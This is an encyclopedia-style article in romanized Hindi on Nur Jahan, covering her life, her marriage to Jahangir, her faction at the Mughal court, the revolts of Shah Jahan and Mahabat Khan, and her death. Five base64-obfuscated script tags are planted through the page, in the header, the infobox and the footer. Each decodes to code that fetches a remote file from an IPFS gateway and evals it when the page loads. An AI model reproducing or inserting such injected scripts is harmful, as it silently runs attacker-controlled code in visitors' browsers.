नूरजहाँ
| chitr:Disamb2.jpg noorajahaan | ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- noorajahaan (bahuvikalpi) |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
noorajahaan
| |
| poora nam | noorajahaan |
| any nam | meharunnisa |
| janm | 31 mee, 1577 ee. |
| janm bhoomi | kandhar |
| mrityu tithi | 17 disambar, 1645 ee. |
| mrityu sthan | lahaur |
| pita/mata | giyasabeg |
| sanbandhit lekh | jahaangir, shahajahaan, mirza giyasabeg |
| vishesh | jahaangir se vivah ke pashchath meharunnisa ko 'nooramahal' evan 'noorajahaan' ki upadhi pradan ki gee thi. 1613 ee. mean noorajahaan ko 'pattamahishi' ya 'badashah begam' banaya gaya. |
| any janakari | pahale satrah varsh ki avastha mean meharunnisa ka vivah alikuli namak ek sahasi eerani navayuvak se hua tha, jise jahaangir ke rajy kal ke prarambh mean 'sher afagan' ki upadhi aur bardavan ki jagir di gee thi. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
noorajahaan (janm- 31 mee, 1577 ee., kandhar; mrityu- 17 disambar, 1645 ee., lahaur) mugal samrat jahaangir ki patni thi. usaka mool nam 'meharunnisa' tha. jab usaka pita mirza giyasabeg, jo ki faras ka nivasi tha, apane bhagy ki pariksha karane bharat a raha tha, tabhi marg mean noorajahaan ka janm kandhar mean hua tha. giyasabeg akabar ke darabar mean ek uchch pad pane mean saphal hua tha aur 1605 ee. mean jahaangir ke rajyarohan ke varsh hi vah malamantri niyukt ho gaya. use 'etmaduddola' ki upadhi di gee thi. noorajahaan asadharan vyaktitv aur buddhimata vali stri thi, jahaangir ne shasan ka samast bhar usi par chho d rakha tha.
vivah
satrah varsh ki avastha mean meharunnisa ka vivah 'alikuli' namak ek sahasi eerani navayuvak se hua tha, jise jahaangir ke rajy kal ke prarambh mean sher afagan ki upadhi aur bardavan ki jagir di gee thi. 1607 ee. mean jahaangir ke dootoan ne sher afagan ko ek yuddh mean mar dala. meharunnisa ko pak d kar dilli laya gaya aur use badashah ke shahi haram mean bhej diya gaya. yahaan vah badashah akabar ki vidhava rani 'salima begam' ki paricharika bani. meharunnisa ko jahaangir ne sarvapratham nauroz tyauhar ke avasar par dekha aur usake saundary par mugdh hokar jahaangir ne mee, 1611 ee. mean usase vivah kar liya. vivah ke pashchath jahaangir ne use ‘nooramahal’ evan ‘noorajahaan’ ki upadhi pradan ki. 1613 ee. mean noorajahaan ko ‘pattamahishi’ ya ‘badashah begam’ banaya gaya.
noorajahaan gut
vivah ke bad noorajahaan ne ‘noorajahaan gut’ ka nirman kiya. is gut ke mahattvapoorn sadasy the- noorajahaan begam, etmaduddaula ya mirza giyasabeg (noorajahaan ka pita), asmat begam (noorajahaan ki maan), asaf khaan (noorajahaan ka bhaee) evan shahazada khurram (bad mean shahajahaan). yah gut mugal darabar mean jahaangir ke vivah ke turant bad hi sakriy ho gaya, jisaka prabhav 1627 ee. tak raha. noorajahaan ke prabhav se prabhavit jahaangir ke shasan kal ko do bhagoan mean baanta ja sakata hai-
- 1611 ee. se 1622 ee. tak
- 1622 ee. se 1627 ee. tak
pratham kal mean noorajahaan gut ne shahi seva mean apane samarthakoan ko adhik matra mean niyukt kar unhean uchch manasab pradan kiye. phalasvaroop is dal se eershya karane vale ek virodhi dal ka gathan khusaro ke netritv mean hua. is bich mahavat khaan ki padonnati mean badha, khaneajam ki kaid, khurram ki apratyashit unnati, paravej ki avanati evan khusaro ke bhagy ka utar-chadhav hota raha. is kal mean noorajahaan ke parivar ke logoan ke manasab mean huee vriddhi ka kram is prakar tha-
- etmaduddaula ka manasab - 1611 ee. mean 2000/500, 1616 ee. mean 7000/500 aur 1619 ee. mean 7000/7000 tak.
- asaf khaan ka manasab - 1611 ee. mean 500/100, 1616 ee. mean 5000/3000 aur 1622 ee. mean 6000/6000 tak.
- ibrahim khaan ka manasab - 1616 ee. mean 2500/2000 tak.
sundari v kootanitijn
asadharan sundari hone ke atirikt noorajahaan buddhimati, shil aur vivekasampann bhi thi. usaki sahity, kavita aur lalit kalaoan mean vishesh ruchi thi. usaka lakshy bhed achook hota tha. 1619 ee. mean usane ek hi goli se sher ko mar giraya tha. in samast gunoan ke karan usane apane pati par poorn prabhutv sthapit kar liya tha. isake phalasvaroop jahaangir ke shasan ka samast bhar usi par a p da tha. sikkoan par bhi usaka nam khoda jane laga aur vah mahal mean hi darabar karane lagi. usake pita etmaduddola aur bhaee asaf khaan ko mugal darabar mean uchch pad pradan kiya gaya tha aur usaki bhatiji ka vivah, jo age chalakar mumataz ke nam se prasiddh huee, shahajahaan se ho gaya. usane pahale pati se utpann apani putri ka vivah jahaangir ke sabase chhote putr shaharayar se kar diya aur kyoanki usaki jahaangir se koee santan nahian thi, at: vah shaharayar ko hi jahaangir ke uparaant raj sianhasan par baithana chahati thi. noorajahaan ke ye sabhi kary usaki kootaniti ka hi ek hissa the.
shahajahaan ka vidroh
1620 ee. ke ant tak noorajahaan ke sambandh khurram (shahajahaan) se achchhe nahian rahe, kyoanki noorajahaan ko ab tak yah ahasas ho gaya tha ki shahajahaan ke badashah banane par usaka prabhav shasan ke karyoan par kam ho jayaga. isalie noorajahaan ne jahaangir ke doosare putr ‘shaharayar’ ko mahatv dena prarambh kar kiya. chooanki shaharayar alpayu evan durbal charitr ka tha, isalie usake samrat banane par noorajahaan ka prabhav pahale ki tarah shasan ke karyoan mean bana rahata. is karan se sher afagan se utpann apani putri 'ladali begam' ki shadi 1620 ee. mean shaharayar se kar use 8000/4000 ka manasab pradan kiya.
shahajahaan ko jab is bat ka ahasas hua ki noorajahaan usake prabhav ko kam karana chah rahi hai, to usane jahaangir dvara kandhar durg par akraman kar use jitane ke adesh ki avahelana karate hue 1623 ee. mean khusaro khaan ka vadh kar dakkan mean vidroh kar diya. usake vidroh ko dabane ke lie noorajahaan ne asaf khaan ko n bhej kar mahavat khaan ko shahazada paravez ke netritv mean bheja. un donoan ne saphalatapoorvak shahajahaan ke vidroh ko kuchal diya. shahajahaan ne pita jahaangir ke samaksh atsamarpan kar diya aur use kshama mil gee. jamanat ke roop mean shahajahaan ke do putroan dara shikoh aur aurangazeb ko bandhak ke roop mean rajadarabar mean rakha gaya. 1625 ee. tak shahajahaan ka vidroh poornatah shant ho gaya.
mahavat khaan ka vidroh
shahajahaan ke vidroh ko dabane mean mahattvapoorn bhoomika ka nirvah karane vale mahavat khaan se noorajahaan ko eershya hone lagi. noorajahaan ko isaka ahasas tha, ki mahavat khaan un logoan mean se hai, jinhean shasan ke karyoan mean mera prabhutv svikar nahian hai. mahavat khaan evan shahazada paravej ki nikatata se bhi noorajahaan ko khatara tha. atah usake prabhav ko kam karane ke lie noorajahaan ne use bangal jane evan yuddh ke samay loote gaye dhan ka hisab dene ko kaha. in karanoan ke atirikt kuchh aur karan bhi the, jisase apamanit mahasoos kar mahavat khaan ne vidroh kar kabul ja rahe samrat jahaangir ko jhelam nadi ke tat par 1626 ee. mean qaid kar liya. noorajahaan evan usake bhaee asaf khaan ko bhi bandi bana liya. qaid mean rakhane par bhi mahavat khaan ne jahaangir ke prati nishtha evan samman ki bat nahian sochi. rohatas mean noorajahaan evan jahaangir ne kootaniti ke dvara apane ko mahavat khaan ke prabhav se mukt kar liya. mahavat khaan apani suraksha ke lie ‘thatta’ ki or bhag gaya. 28 aktoobar, 1626 ko paravej ki mrityu ke bad ek tarah se mahavat khaan kamazor ho gaya aur vah shahajahaan ki seva mean chala gaya.
noorajahaan ki mrityu
jahaangir ke jivan kal mean noorajahaan sarvashakti sampann rahi, kiantu 1627 ee. mean jahaangir ki mrityu ke uparaant usaki rajanitik prabhuta nasht ho gee. noorajahaan ki mrityu 1645 ee. mean huee. apani mrityu paryant tak ka shesh jivan usane lahaur mean bitaya. usaki kalatmak ruchi ka praman us bhavy evan akarshak maqabare mean upalabdh hai, jise usane apane pita etmaduddola ke asthi avasheshoan par agara mean banavaya tha. kalavidoan ke anusar yah maqabara barik aur saj-sajja ki drishti se anupam hai.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>